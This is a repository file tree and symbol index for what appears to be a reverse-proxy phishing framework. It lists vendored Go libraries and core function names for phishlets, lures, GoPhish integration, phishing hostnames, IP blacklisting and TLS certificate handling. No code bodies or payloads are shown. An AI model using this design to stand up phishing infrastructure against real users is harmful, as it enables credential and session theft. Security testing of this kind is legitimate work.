    │       │   │   ├── zsys_freebsd_riscv64.go
    │       │   │   ├── zsys_linux_386.go
    │       │   │   ├── zsys_linux_amd64.go
    │       │   │   ├── zsys_linux_arm.go
    │       │   │   ├── zsys_linux_arm64.go
    │       │   │   ├── zsys_linux_loong64.go
    │       │   │   ├── zsys_linux_mips.go
    │       │   │   ├── zsys_linux_mips64.go
    │       │   │   ├── zsys_linux_mips64le.go
    │       │   │   ├── zsys_linux_mipsle.go
    │       │   │   ├── zsys_linux_ppc.go
    │       │   │   ├── zsys_linux_ppc64.go
    │       │   │   ├── zsys_linux_ppc64le.go
    │       │   │   ├── zsys_linux_riscv64.go
    │       │   │   ├── zsys_linux_s390x.go
    │       │   │   ├── zsys_netbsd.go
    │       │   │   ├── zsys_openbsd.go
    │       │   │   ├── zsys_solaris.go
    │       │   │   └── zsys_zos_s390x.go
    │       │   ├── proxy/
    │       │   │   ├── dial.go
    │       │   │   ├── direct.go
    │       │   │   ├── per_host.go
    │       │   │   ├── proxy.go
    │       │   │   └── socks5.go
    │       │   └── publicsuffix/
    │       │       ├── data/
    │       │       │   ├── children
    │       │       │   ├── nodes
    │       │       │   └── text
    │       │       ├── list.go
    │       │       └── table.go
    │       ├── sys/
    │       │   ├── LICENSE
    │       │   ├── PATENTS
    │       │   ├── unix/
    │       │   │   ├── .gitignore
    │       │   │   ├── README.md
    │       │   │   ├── affinity_linux.go
    │       │   │   ├── aliases.go
    │       │   │   ├── asm_aix_ppc64.s
    │       │   │   ├── asm_bsd_386.s
    │       │   │   ├── asm_bsd_amd64.s
    │       │   │   ├── asm_bsd_arm.s
    │       │   │   ├── asm_bsd_arm64.s
    │       │   │   ├── asm_bsd_ppc64.s
    │       │   │   ├── asm_bsd_riscv64.s
    │       │   │   ├── asm_linux_386.s
    │       │   │   ├── asm_linux_amd64.s
    │       │   │   ├── asm_linux_arm.s
    │       │   │   ├── asm_linux_arm64.s
    │       │   │   ├── asm_linux_loong64.s
    │       │   │   ├── asm_linux_mips64x.s
    │       │   │   ├── asm_linux_mipsx.s
    │       │   │   ├── asm_linux_ppc64x.s
    │       │   │   ├── asm_linux_riscv64.s
    │       │   │   ├── asm_linux_s390x.s
    │       │   │   ├── asm_openbsd_mips64.s
    │       │   │   ├── asm_solaris_amd64.s
    │       │   │   ├── asm_zos_s390x.s
    │       │   │   ├── bluetooth_linux.go
    │       │   │   ├── cap_freebsd.go
    │       │   │   ├── constants.go
    │       │   │   ├── dev_aix_ppc.go
    │       │   │   ├── dev_aix_ppc64.go
    │       │   │   ├── dev_darwin.go
    │       │   │   ├── dev_dragonfly.go
    │       │   │   ├── dev_freebsd.go
    │       │   │   ├── dev_linux.go
    │       │   │   ├── dev_netbsd.go
    │       │   │   ├── dev_openbsd.go
    │       │   │   ├── dev_zos.go
    │       │   │   ├── dirent.go
    │       │   │   ├── endian_big.go
    │       │   │   ├── endian_little.go
    │       │   │   ├── env_unix.go
    │       │   │   ├── epoll_zos.go
    │       │   │   ├── fcntl.go
    │       │   │   ├── fcntl_darwin.go
    │       │   │   ├── fcntl_linux_32bit.go
    │       │   │   ├── fdset.go
    │       │   │   ├── fstatfs_zos.go
    │       │   │   ├── gccgo.go
    │       │   │   ├── gccgo_c.c
    │       │   │   ├── gccgo_linux_amd64.go
    │       │   │   ├── ifreq_linux.go
    │       │   │   ├── ioctl_linux.go
    │       │   │   ├── ioctl_signed.go
    │       │   │   ├── ioctl_unsigned.go
    │       │   │   ├── ioctl_zos.go
    │       │   │   ├── mkall.sh
    │       │   │   ├── mkerrors.sh
    │       │   │   ├── mmap_nomremap.go
    │       │   │   ├── mremap.go
    │       │   │   ├── pagesize_unix.go
    │       │   │   ├── pledge_openbsd.go
    │       │   │   ├── ptrace_darwin.go
    │       │   │   ├── ptrace_ios.go
    │       │   │   ├── race.go
    │       │   │   ├── race0.go
    │       │   │   ├── readdirent_getdents.go
    │       │   │   ├── readdirent_getdirentries.go
    │       │   │   ├── sockcmsg_dragonfly.go
    │       │   │   ├── sockcmsg_linux.go
    │       │   │   ├── sockcmsg_unix.go
    │       │   │   ├── sockcmsg_unix_other.go
    │       │   │   ├── syscall.go
    │       │   │   ├── syscall_aix.go
    │       │   │   ├── syscall_aix_ppc.go
    │       │   │   ├── syscall_aix_ppc64.go
    │       │   │   ├── syscall_bsd.go
    │       │   │   ├── syscall_darwin.go
    │       │   │   ├── syscall_darwin_amd64.go
    │       │   │   ├── syscall_darwin_arm64.go
    │       │   │   ├── syscall_darwin_libSystem.go
    │       │   │   ├── syscall_dragonfly.go
    │       │   │   ├── syscall_dragonfly_amd64.go
    │       │   │   ├── syscall_freebsd.go
    │       │   │   ├── syscall_freebsd_386.go
    │       │   │   ├── syscall_freebsd_amd64.go
    │       │   │   ├── syscall_freebsd_arm.go
    │       │   │   ├── syscall_freebsd_arm64.go
    │       │   │   ├── syscall_freebsd_riscv64.go
    │       │   │   ├── syscall_hurd.go
    │       │   │   ├── syscall_hurd_386.go
    │       │   │   ├── syscall_illumos.go
    │       │   │   ├── syscall_linux.go
    │       │   │   ├── syscall_linux_386.go
    │       │   │   ├── syscall_linux_alarm.go
    │       │   │   ├── syscall_linux_amd64.go
    │       │   │   ├── syscall_linux_amd64_gc.go
    │       │   │   ├── syscall_linux_arm.go
    │       │   │   ├── syscall_linux_arm64.go
    │       │   │   ├── syscall_linux_gc.go
    │       │   │   ├── syscall_linux_gc_386.go
    │       │   │   ├── syscall_linux_gc_arm.go
    │       │   │   ├── syscall_linux_gccgo_386.go
    │       │   │   ├── syscall_linux_gccgo_arm.go
    │       │   │   ├── syscall_linux_loong64.go
    │       │   │   ├── syscall_linux_mips64x.go
    │       │   │   ├── syscall_linux_mipsx.go
    │       │   │   ├── syscall_linux_ppc.go
    │       │   │   ├── syscall_linux_ppc64x.go
    │       │   │   ├── syscall_linux_riscv64.go
    │       │   │   ├── syscall_linux_s390x.go
    │       │   │   ├── syscall_linux_sparc64.go
    │       │   │   ├── syscall_netbsd.go
    │       │   │   ├── syscall_netbsd_386.go
    │       │   │   ├── syscall_netbsd_amd64.go
    │       │   │   ├── syscall_netbsd_arm.go
    │       │   │   ├── syscall_netbsd_arm64.go
    │       │   │   ├── syscall_openbsd.go
    │       │   │   ├── syscall_openbsd_386.go
    │       │   │   ├── syscall_openbsd_amd64.go
    │       │   │   ├── syscall_openbsd_arm.go
    │       │   │   ├── syscall_openbsd_arm64.go
    │       │   │   ├── syscall_openbsd_libc.go
    │       │   │   ├── syscall_openbsd_mips64.go
    │       │   │   ├── syscall_openbsd_ppc64.go
    │       │   │   ├── syscall_openbsd_riscv64.go
    │       │   │   ├── syscall_solaris.go
    │       │   │   ├── syscall_solaris_amd64.go
    │       │   │   ├── syscall_unix.go
    │       │   │   ├── syscall_unix_gc.go
    │       │   │   ├── syscall_unix_gc_ppc64x.go
    │       │   │   ├── syscall_zos_s390x.go
    │       │   │   ├── sysvshm_linux.go
    │       │   │   ├── sysvshm_unix.go
    │       │   │   ├── sysvshm_unix_other.go
    │       │   │   ├── timestruct.go
    │       │   │   ├── unveil_openbsd.go
    │       │   │   ├── xattr_bsd.go
    │       │   │   ├── zerrors_aix_ppc.go
    │       │   │   ├── zerrors_aix_ppc64.go
    │       │   │   ├── zerrors_darwin_amd64.go
    │       │   │   ├── zerrors_darwin_arm64.go
    │       │   │   ├── zerrors_dragonfly_amd64.go
    │       │   │   ├── zerrors_freebsd_386.go
    │       │   │   ├── zerrors_freebsd_amd64.go
    │       │   │   ├── zerrors_freebsd_arm.go
    │       │   │   ├── zerrors_freebsd_arm64.go
    │       │   │   ├── zerrors_freebsd_riscv64.go
    │       │   │   ├── zerrors_linux.go
    │       │   │   ├── zerrors_linux_386.go
    │       │   │   ├── zerrors_linux_amd64.go
    │       │   │   ├── zerrors_linux_arm.go
    │       │   │   ├── zerrors_linux_arm64.go
    │       │   │   ├── zerrors_linux_loong64.go
    │       │   │   ├── zerrors_linux_mips.go
    │       │   │   ├── zerrors_linux_mips64.go
    │       │   │   ├── zerrors_linux_mips64le.go
    │       │   │   ├── zerrors_linux_mipsle.go
    │       │   │   ├── zerrors_linux_ppc.go
    │       │   │   ├── zerrors_linux_ppc64.go
    │       │   │   ├── zerrors_linux_ppc64le.go
    │       │   │   ├── zerrors_linux_riscv64.go
    │       │   │   ├── zerrors_linux_s390x.go
    │       │   │   ├── zerrors_linux_sparc64.go
    │       │   │   ├── zerrors_netbsd_386.go
    │       │   │   ├── zerrors_netbsd_amd64.go
    │       │   │   ├── zerrors_netbsd_arm.go
    │       │   │   ├── zerrors_netbsd_arm64.go
    │       │   │   ├── zerrors_openbsd_386.go
    │       │   │   ├── zerrors_openbsd_amd64.go
    │       │   │   ├── zerrors_openbsd_arm.go
    │       │   │   ├── zerrors_openbsd_arm64.go
    │       │   │   ├── zerrors_openbsd_mips64.go
    │       │   │   ├── zerrors_openbsd_ppc64.go
    │       │   │   ├── zerrors_openbsd_riscv64.go
    │       │   │   ├── zerrors_solaris_amd64.go
    │       │   │   ├── zerrors_zos_s390x.go
    │       │   │   ├── zptrace_armnn_linux.go
    │       │   │   ├── zptrace_linux_arm64.go
    │       │   │   ├── zptrace_mipsnn_linux.go
    │       │   │   ├── zptrace_mipsnnle_linux.go
    │       │   │   ├── zptrace_x86_linux.go
    │       │   │   ├── zsyscall_aix_ppc.go
    │       │   │   ├── zsyscall_aix_ppc64.go
    │       │   │   ├── zsyscall_aix_ppc64_gc.go
    │       │   │   ├── zsyscall_aix_ppc64_gccgo.go
    │       │   │   ├── zsyscall_darwin_amd64.go
    │       │   │   ├── zsyscall_darwin_amd64.s
    │       │   │   ├── zsyscall_darwin_arm64.go
    │       │   │   ├── zsyscall_darwin_arm64.s
    │       │   │   ├── zsyscall_dragonfly_amd64.go
    │       │   │   ├── zsyscall_freebsd_386.go
    │       │   │   ├── zsyscall_freebsd_amd64.go
    │       │   │   ├── zsyscall_freebsd_arm.go
    │       │   │   ├── zsyscall_freebsd_arm64.go
    │       │   │   ├── zsyscall_freebsd_riscv64.go
    │       │   │   ├── zsyscall_illumos_amd64.go
    │       │   │   ├── zsyscall_linux.go
    │       │   │   ├── zsyscall_linux_386.go
    │       │   │   ├── zsyscall_linux_amd64.go
    │       │   │   ├── zsyscall_linux_arm.go
    │       │   │   ├── zsyscall_linux_arm64.go
    │       │   │   ├── zsyscall_linux_loong64.go
    │       │   │   ├── zsyscall_linux_mips.go
    │       │   │   ├── zsyscall_linux_mips64.go
    │       │   │   ├── zsyscall_linux_mips64le.go
    │       │   │   ├── zsyscall_linux_mipsle.go
    │       │   │   ├── zsyscall_linux_ppc.go
    │       │   │   ├── zsyscall_linux_ppc64.go
    │       │   │   ├── zsyscall_linux_ppc64le.go
    │       │   │   ├── zsyscall_linux_riscv64.go
    │       │   │   ├── zsyscall_linux_s390x.go
    │       │   │   ├── zsyscall_linux_sparc64.go
    │       │   │   ├── zsyscall_netbsd_386.go
    │       │   │   ├── zsyscall_netbsd_amd64.go
    │       │   │   ├── zsyscall_netbsd_arm.go
    │       │   │   ├── zsyscall_netbsd_arm64.go
    │       │   │   ├── zsyscall_openbsd_386.go
    │       │   │   ├── zsyscall_openbsd_386.s
    │       │   │   ├── zsyscall_openbsd_amd64.go
    │       │   │   ├── zsyscall_openbsd_amd64.s
    │       │   │   ├── zsyscall_openbsd_arm.go
    │       │   │   ├── zsyscall_openbsd_arm.s
    │       │   │   ├── zsyscall_openbsd_arm64.go
    │       │   │   ├── zsyscall_openbsd_arm64.s
    │       │   │   ├── zsyscall_openbsd_mips64.go
    │       │   │   ├── zsyscall_openbsd_mips64.s
    │       │   │   ├── zsyscall_openbsd_ppc64.go
    │       │   │   ├── zsyscall_openbsd_ppc64.s
    │       │   │   ├── zsyscall_openbsd_riscv64.go
    │       │   │   ├── zsyscall_openbsd_riscv64.s
    │       │   │   ├── zsyscall_solaris_amd64.go
    │       │   │   ├── zsyscall_zos_s390x.go
    │       │   │   ├── zsysctl_openbsd_386.go
    │       │   │   ├── zsysctl_openbsd_amd64.go
    │       │   │   ├── zsysctl_openbsd_arm.go
    │       │   │   ├── zsysctl_openbsd_arm64.go
    │       │   │   ├── zsysctl_openbsd_mips64.go
    │       │   │   ├── zsysctl_openbsd_ppc64.go
    │       │   │   ├── zsysctl_openbsd_riscv64.go
    │       │   │   ├── zsysnum_darwin_amd64.go
    │       │   │   ├── zsysnum_darwin_arm64.go
    │       │   │   ├── zsysnum_dragonfly_amd64.go
    │       │   │   ├── zsysnum_freebsd_386.go
    │       │   │   ├── zsysnum_freebsd_amd64.go
    │       │   │   ├── zsysnum_freebsd_arm.go
    │       │   │   ├── zsysnum_freebsd_arm64.go
    │       │   │   ├── zsysnum_freebsd_riscv64.go
    │       │   │   ├── zsysnum_linux_386.go
    │       │   │   ├── zsysnum_linux_amd64.go
    │       │   │   ├── zsysnum_linux_arm.go
    │       │   │   ├── zsysnum_linux_arm64.go
    │       │   │   ├── zsysnum_linux_loong64.go
    │       │   │   ├── zsysnum_linux_mips.go
    │       │   │   ├── zsysnum_linux_mips64.go
    │       │   │   ├── zsysnum_linux_mips64le.go
    │       │   │   ├── zsysnum_linux_mipsle.go
    │       │   │   ├── zsysnum_linux_ppc.go
    │       │   │   ├── zsysnum_linux_ppc64.go
    │       │   │   ├── zsysnum_linux_ppc64le.go
    │       │   │   ├── zsysnum_linux_riscv64.go
    │       │   │   ├── zsysnum_linux_s390x.go
    │       │   │   ├── zsysnum_linux_sparc64.go
    │       │   │   ├── zsysnum_netbsd_386.go
    │       │   │   ├── zsysnum_netbsd_amd64.go
    │       │   │   ├── zsysnum_netbsd_arm.go
    │       │   │   ├── zsysnum_netbsd_arm64.go
    │       │   │   ├── zsysnum_openbsd_386.go
    │       │   │   ├── zsysnum_openbsd_amd64.go
    │       │   │   ├── zsysnum_openbsd_arm.go
    │       │   │   ├── zsysnum_openbsd_arm64.go
    │       │   │   ├── zsysnum_openbsd_mips64.go
    │       │   │   ├── zsysnum_openbsd_ppc64.go
    │       │   │   ├── zsysnum_openbsd_riscv64.go
    │       │   │   ├── zsysnum_zos_s390x.go
    │       │   │   ├── ztypes_aix_ppc.go
    │       │   │   ├── ztypes_aix_ppc64.go
    │       │   │   ├── ztypes_darwin_amd64.go
    │       │   │   ├── ztypes_darwin_arm64.go
    │       │   │   ├── ztypes_dragonfly_amd64.go
    │       │   │   ├── ztypes_freebsd_386.go
    │       │   │   ├── ztypes_freebsd_amd64.go
    │       │   │   ├── ztypes_freebsd_arm.go
    │       │   │   ├── ztypes_freebsd_arm64.go
    │       │   │   ├── ztypes_freebsd_riscv64.go
    │       │   │   ├── ztypes_linux.go
    │       │   │   ├── ztypes_linux_386.go
    │       │   │   ├── ztypes_linux_amd64.go
    │       │   │   ├── ztypes_linux_arm.go
    │       │   │   ├── ztypes_linux_arm64.go
    │       │   │   ├── ztypes_linux_loong64.go
    │       │   │   ├── ztypes_linux_mips.go
    │       │   │   ├── ztypes_linux_mips64.go
    │       │   │   ├── ztypes_linux_mips64le.go
    │       │   │   ├── ztypes_linux_mipsle.go
    │       │   │   ├── ztypes_linux_ppc.go
    │       │   │   ├── ztypes_linux_ppc64.go
    │       │   │   ├── ztypes_linux_ppc64le.go
    │       │   │   ├── ztypes_linux_riscv64.go
    │       │   │   ├── ztypes_linux_s390x.go
    │       │   │   ├── ztypes_linux_sparc64.go
    │       │   │   ├── ztypes_netbsd_386.go
    │       │   │   ├── ztypes_netbsd_amd64.go
    │       │   │   ├── ztypes_netbsd_arm.go
    │       │   │   ├── ztypes_netbsd_arm64.go
    │       │   │   ├── ztypes_openbsd_386.go
    │       │   │   ├── ztypes_openbsd_amd64.go
    │       │   │   ├── ztypes_openbsd_arm.go
    │       │   │   ├── ztypes_openbsd_arm64.go
    │       │   │   ├── ztypes_openbsd_mips64.go
    │       │   │   ├── ztypes_openbsd_ppc64.go
    │       │   │   ├── ztypes_openbsd_riscv64.go
    │       │   │   ├── ztypes_solaris_amd64.go
    │       │   │   └── ztypes_zos_s390x.go
    │       │   └── windows/
    │       │       ├── aliases.go
    │       │       ├── dll_windows.go
    │       │       ├── empty.s
    │       │       ├── env_windows.go
    │       │       ├── eventlog.go
    │       │       ├── exec_windows.go
    │       │       ├── memory_windows.go
    │       │       ├── mkerrors.bash
    │       │       ├── mkknownfolderids.bash
    │       │       ├── mksyscall.go
    │       │       ├── race.go
    │       │       ├── race0.go
    │       │       ├── security_windows.go
    │       │       ├── service.go
    │       │       ├── setupapi_windows.go
    │       │       ├── str.go
    │       │       ├── syscall.go
    │       │       ├── syscall_windows.go
    │       │       ├── types_windows.go
    │       │       ├── types_windows_386.go
    │       │       ├── types_windows_amd64.go
    │       │       ├── types_windows_arm.go
    │       │       ├── types_windows_arm64.go
    │       │       ├── zerrors_windows.go
    │       │       ├── zknownfolderids_windows.go
    │       │       └── zsyscall_windows.go
    │       ├── text/
    │       │   ├── LICENSE
    │       │   ├── PATENTS
    │       │   ├── secure/
    │       │   │   └── bidirule/
    │       │   │       ├── bidirule.go
    │       │   │       ├── bidirule10.0.0.go
    │       │   │       └── bidirule9.0.0.go
    │       │   ├── transform/
    │       │   │   └── transform.go
    │       │   └── unicode/
    │       │       ├── bidi/
    │       │       │   ├── bidi.go
    │       │       │   ├── bracket.go
    │       │       │   ├── core.go
    │       │       │   ├── prop.go
    │       │       │   ├── tables10.0.0.go
    │       │       │   ├── tables11.0.0.go
    │       │       │   ├── tables12.0.0.go
    │       │       │   ├── tables13.0.0.go
    │       │       │   ├── tables15.0.0.go
    │       │       │   ├── tables9.0.0.go
    │       │       │   └── trieval.go
    │       │       └── norm/
    │       │           ├── composition.go
    │       │           ├── forminfo.go
    │       │           ├── input.go
    │       │           ├── iter.go
    │       │           ├── normalize.go
    │       │           ├── readwriter.go
    │       │           ├── tables10.0.0.go
    │       │           ├── tables11.0.0.go
    │       │           ├── tables12.0.0.go
    │       │           ├── tables13.0.0.go
    │       │           ├── tables15.0.0.go
    │       │           ├── tables9.0.0.go
    │       │           ├── transform.go
    │       │           └── trie.go
    │       └── tools/
    │           ├── LICENSE
    │           ├── PATENTS
    │           ├── go/
    │           │   ├── gcexportdata/
    │           │   │   ├── gcexportdata.go
    │           │   │   └── importer.go
    │           │   ├── internal/
    │           │   │   └── packagesdriver/
    │           │   │       └── sizes.go
    │           │   ├── packages/
    │           │   │   ├── doc.go
    │           │   │   ├── external.go
    │           │   │   ├── golist.go
    │           │   │   ├── golist_overlay.go
    │           │   │   ├── loadmode_string.go
    │           │   │   ├── packages.go
    │           │   │   └── visit.go
    │           │   └── types/
    │           │       └── objectpath/
    │           │           └── objectpath.go
    │           └── internal/
    │               ├── event/
    │               │   ├── core/
    │               │   │   ├── event.go
    │               │   │   ├── export.go
    │               │   │   └── fast.go
    │               │   ├── doc.go
    │               │   ├── event.go
    │               │   ├── keys/
    │               │   │   ├── keys.go
    │               │   │   ├── standard.go
    │               │   │   └── util.go
    │               │   ├── label/
    │               │   │   └── label.go
    │               │   └── tag/
    │               │       └── tag.go
    │               ├── gcimporter/
    │               │   ├── bimport.go
    │               │   ├── exportdata.go
    │               │   ├── gcimporter.go
    │               │   ├── iexport.go
    │               │   ├── iimport.go
    │               │   ├── newInterface10.go
    │               │   ├── newInterface11.go
    │               │   ├── support_go117.go
    │               │   ├── support_go118.go
    │               │   ├── unified_no.go
    │               │   ├── unified_yes.go
    │               │   ├── ureader_no.go
    │               │   └── ureader_yes.go
    │               ├── gocommand/
    │               │   ├── invoke.go
    │               │   ├── vendor.go
    │               │   └── version.go
    │               ├── packagesinternal/
    │               │   └── packages.go
    │               ├── pkgbits/
    │               │   ├── codes.go
    │               │   ├── decoder.go
    │               │   ├── doc.go
    │               │   ├── encoder.go
    │               │   ├── flags.go
    │               │   ├── frames_go1.go
    │               │   ├── frames_go17.go
    │               │   ├── reloc.go
    │               │   ├── support.go
    │               │   ├── sync.go
    │               │   └── syncmarker_string.go
    │               ├── tokeninternal/
    │               │   └── tokeninternal.go
    │               ├── typeparams/
    │               │   ├── common.go
    │               │   ├── coretype.go
    │               │   ├── normalize.go
    │               │   ├── termlist.go
    │               │   └── typeterm.go
    │               ├── typesinternal/
    │               │   ├── errorcode.go
    │               │   ├── errorcode_string.go
    │               │   ├── types.go
    │               │   └── types_118.go
    │               └── versions/
    │                   ├── gover.go
    │                   ├── types.go
    │                   ├── types_go121.go
    │                   ├── types_go122.go
    │                   └── versions.go
    ├── gopkg.in/
    │   ├── ini.v1/
    │   │   ├── .editorconfig
    │   │   ├── .gitignore
    │   │   ├── .golangci.yml
    │   │   ├── LICENSE
    │   │   ├── Makefile
    │   │   ├── README.md
    │   │   ├── codecov.yml
    │   │   ├── data_source.go
    │   │   ├── deprecated.go
    │   │   ├── error.go
    │   │   ├── file.go
    │   │   ├── helper.go
    │   │   ├── ini.go
    │   │   ├── key.go
    │   │   ├── parser.go
    │   │   ├── section.go
    │   │   └── struct.go
    │   ├── square/
    │   │   └── go-jose.v2/
    │   │       ├── .gitcookies.sh.enc
    │   │       ├── .gitignore
    │   │       ├── .travis.yml
    │   │       ├── BUG-BOUNTY.md
    │   │       ├── CONTRIBUTING.md
    │   │       ├── LICENSE
    │   │       ├── README.md
    │   │       ├── asymmetric.go
    │   │       ├── cipher/
    │   │       │   ├── cbc_hmac.go
    │   │       │   ├── concat_kdf.go
    │   │       │   ├── ecdh_es.go
    │   │       │   └── key_wrap.go
    │   │       ├── crypter.go
    │   │       ├── doc.go
    │   │       ├── encoding.go
    │   │       ├── json/
    │   │       │   ├── LICENSE
    │   │       │   ├── README.md
    │   │       │   ├── decode.go
    │   │       │   ├── encode.go
    │   │       │   ├── indent.go
    │   │       │   ├── scanner.go
    │   │       │   ├── stream.go
    │   │       │   └── tags.go
    │   │       ├── jwe.go
    │   │       ├── jwk.go
    │   │       ├── jws.go
    │   │       ├── opaque.go
    │   │       ├── shared.go
    │   │       ├── signing.go
    │   │       └── symmetric.go
    │   └── yaml.v2/
    │       ├── .travis.yml
    │       ├── LICENSE
    │       ├── LICENSE.libyaml
    │       ├── NOTICE
    │       ├── README.md
    │       ├── apic.go
    │       ├── decode.go
    │       ├── emitterc.go
    │       ├── encode.go
    │       ├── parserc.go
    │       ├── readerc.go
    │       ├── resolve.go
    │       ├── scannerc.go
    │       ├── sorter.go
    │       ├── writerc.go
    │       ├── yaml.go
    │       ├── yamlh.go
    │       └── yamlprivateh.go
    └── modules.txt
Download .txt
Showing preview only (8,696K chars total). Download the full file or copy to clipboard to get everything.
SYMBOL INDEX (103579 symbols across 946 files)

FILE: core/banner.go
  constant VERSION (line 11) | VERSION = "3.3.0"
  function putAsciiArt (line 14) | func putAsciiArt(s string) {
  function printLogo (line 41) | func printLogo(s string) {
  function printUpdateName (line 57) | func printUpdateName() {
  function printOneliner1 (line 63) | func printOneliner1() {
  function printOneliner2 (line 72) | func printOneliner2() {
  function Banner (line 80) | func Banner() {

FILE: core/blacklist.go
  type BlockIP (line 13) | type BlockIP struct
  type Blacklist (line 18) | type Blacklist struct
    method GetStats (line 72) | func (bl *Blacklist) GetStats() (int, int) {
    method AddIP (line 76) | func (bl *Blacklist) AddIP(ip string) error {
    method IsBlacklisted (line 103) | func (bl *Blacklist) IsBlacklisted(ip string) bool {
    method SetVerbose (line 120) | func (bl *Blacklist) SetVerbose(verbose bool) {
    method IsVerbose (line 124) | func (bl *Blacklist) IsVerbose() bool {
    method IsWhitelisted (line 128) | func (bl *Blacklist) IsWhitelisted(ip string) bool {
  function NewBlacklist (line 25) | func NewBlacklist(path string) (*Blacklist, error) {

FILE: core/certdb.go
  type CertDb (line 24) | type CertDb struct
    method GetEmail (line 64) | func (o *CertDb) GetEmail() string {
    method generateCertificates (line 80) | func (o *CertDb) generateCertificates() error {
    method setManagedSync (line 165) | func (o *CertDb) setManagedSync(hosts []string, t time.Duration) error {
    method setUnmanagedSync (line 172) | func (o *CertDb) setUnmanagedSync(verbose bool) error {
    method reloadCertificates (line 253) | func (o *CertDb) reloadCertificates() error {
    method getTLSCertificate (line 258) | func (o *CertDb) getTLSCertificate(host string, port int) (*x509.Certi...
    method getSelfSignedCertificate (line 273) | func (o *CertDb) getSelfSignedCertificate(host string, phish_host stri...
  function NewCertDb (line 33) | func NewCertDb(cache_dir string, cfg *Config, ns *Nameserver) (*CertDb, ...

FILE: core/config.go
  type Lure (line 17) | type Lure struct
  type SubPhishlet (line 33) | type SubPhishlet struct
  type PhishletConfig (line 39) | type PhishletConfig struct
  type ProxyConfig (line 46) | type ProxyConfig struct
  type BlacklistConfig (line 55) | type BlacklistConfig struct
  type CertificatesConfig (line 59) | type CertificatesConfig struct
  type GoPhishConfig (line 62) | type GoPhishConfig struct
  type GeneralConfig (line 68) | type GeneralConfig struct
  type Config (line 79) | type Config struct
    method PhishletConfig (line 195) | func (c *Config) PhishletConfig(site string) *PhishletConfig {
    method SavePhishlets (line 210) | func (c *Config) SavePhishlets() {
    method SetSiteHostname (line 215) | func (c *Config) SetSiteHostname(site string, hostname string) bool {
    method SetSiteUnauthUrl (line 239) | func (c *Config) SetSiteUnauthUrl(site string, _url string) bool {
    method SetBaseDomain (line 262) | func (c *Config) SetBaseDomain(domain string) {
    method SetServerIP (line 269) | func (c *Config) SetServerIP(ip_addr string) {
    method SetServerExternalIP (line 276) | func (c *Config) SetServerExternalIP(ip_addr string) {
    method SetServerBindIP (line 283) | func (c *Config) SetServerBindIP(ip_addr string) {
    method SetHttpsPort (line 291) | func (c *Config) SetHttpsPort(port int) {
    method SetDnsPort (line 298) | func (c *Config) SetDnsPort(port int) {
    method EnableProxy (line 305) | func (c *Config) EnableProxy(enabled bool) {
    method SetProxyType (line 316) | func (c *Config) SetProxyType(ptype string) {
    method SetProxyAddress (line 328) | func (c *Config) SetProxyAddress(address string) {
    method SetProxyPort (line 335) | func (c *Config) SetProxyPort(port int) {
    method SetProxyUsername (line 342) | func (c *Config) SetProxyUsername(username string) {
    method SetProxyPassword (line 349) | func (c *Config) SetProxyPassword(password string) {
    method SetGoPhishAdminUrl (line 356) | func (c *Config) SetGoPhishAdminUrl(k string) {
    method SetGoPhishApiKey (line 369) | func (c *Config) SetGoPhishApiKey(k string) {
    method SetGoPhishInsecureTLS (line 376) | func (c *Config) SetGoPhishInsecureTLS(k bool) {
    method IsLureHostnameValid (line 383) | func (c *Config) IsLureHostnameValid(hostname string) bool {
    method SetSiteEnabled (line 394) | func (c *Config) SetSiteEnabled(site string) error {
    method SetSiteDisabled (line 415) | func (c *Config) SetSiteDisabled(site string) error {
    method SetSiteHidden (line 428) | func (c *Config) SetSiteHidden(site string, hide bool) error {
    method SetRedirectorsDir (line 445) | func (c *Config) SetRedirectorsDir(path string) {
    method ResetAllSites (line 449) | func (c *Config) ResetAllSites() {
    method IsSiteEnabled (line 454) | func (c *Config) IsSiteEnabled(site string) bool {
    method IsSiteHidden (line 458) | func (c *Config) IsSiteHidden(site string) bool {
    method GetEnabledSites (line 462) | func (c *Config) GetEnabledSites() []string {
    method SetBlacklistMode (line 472) | func (c *Config) SetBlacklistMode(mode string) {
    method SetUnauthUrl (line 481) | func (c *Config) SetUnauthUrl(_url string) {
    method EnableAutocert (line 488) | func (c *Config) EnableAutocert(enabled bool) {
    method refreshActiveHostnames (line 499) | func (c *Config) refreshActiveHostnames() {
    method GetActiveHostnames (line 520) | func (c *Config) GetActiveHostnames(site string) []string {
    method IsActiveHostname (line 545) | func (c *Config) IsActiveHostname(host string) bool {
    method AddPhishlet (line 558) | func (c *Config) AddPhishlet(site string, pl *Phishlet) {
    method AddSubPhishlet (line 564) | func (c *Config) AddSubPhishlet(site string, parent_site string, custo...
    method DeleteSubPhishlet (line 586) | func (c *Config) DeleteSubPhishlet(site string) error {
    method LoadSubPhishlets (line 602) | func (c *Config) LoadSubPhishlets() {
    method SaveSubPhishlets (line 613) | func (c *Config) SaveSubPhishlets() {
    method VerifyPhishlets (line 630) | func (c *Config) VerifyPhishlets() {
    method CleanUp (line 651) | func (c *Config) CleanUp() {
    method AddLure (line 682) | func (c *Config) AddLure(site string, l *Lure) {
    method SetLure (line 689) | func (c *Config) SetLure(index int, l *Lure) error {
    method DeleteLure (line 700) | func (c *Config) DeleteLure(index int) error {
    method DeleteLures (line 712) | func (c *Config) DeleteLures(index []int) []int {
    method GetLure (line 733) | func (c *Config) GetLure(index int) (*Lure, error) {
    method GetLureByPath (line 741) | func (c *Config) GetLureByPath(site string, host string, path string) ...
    method GetPhishlet (line 757) | func (c *Config) GetPhishlet(site string) (*Phishlet, error) {
    method GetPhishletNames (line 765) | func (c *Config) GetPhishletNames() []string {
    method GetSiteDomain (line 769) | func (c *Config) GetSiteDomain(site string) (string, bool) {
    method GetSiteUnauthUrl (line 776) | func (c *Config) GetSiteUnauthUrl(site string) (string, bool) {
    method GetBaseDomain (line 783) | func (c *Config) GetBaseDomain() string {
    method GetServerExternalIP (line 787) | func (c *Config) GetServerExternalIP() string {
    method GetServerBindIP (line 791) | func (c *Config) GetServerBindIP() string {
    method GetHttpsPort (line 795) | func (c *Config) GetHttpsPort() int {
    method GetDnsPort (line 799) | func (c *Config) GetDnsPort() int {
    method GetRedirectorsDir (line 803) | func (c *Config) GetRedirectorsDir() string {
    method GetBlacklistMode (line 807) | func (c *Config) GetBlacklistMode() string {
    method IsAutocertEnabled (line 811) | func (c *Config) IsAutocertEnabled() bool {
    method GetGoPhishAdminUrl (line 815) | func (c *Config) GetGoPhishAdminUrl() string {
    method GetGoPhishApiKey (line 819) | func (c *Config) GetGoPhishApiKey() string {
    method GetGoPhishInsecureTLS (line 823) | func (c *Config) GetGoPhishInsecureTLS() bool {
  constant CFG_GENERAL (line 97) | CFG_GENERAL      = "general"
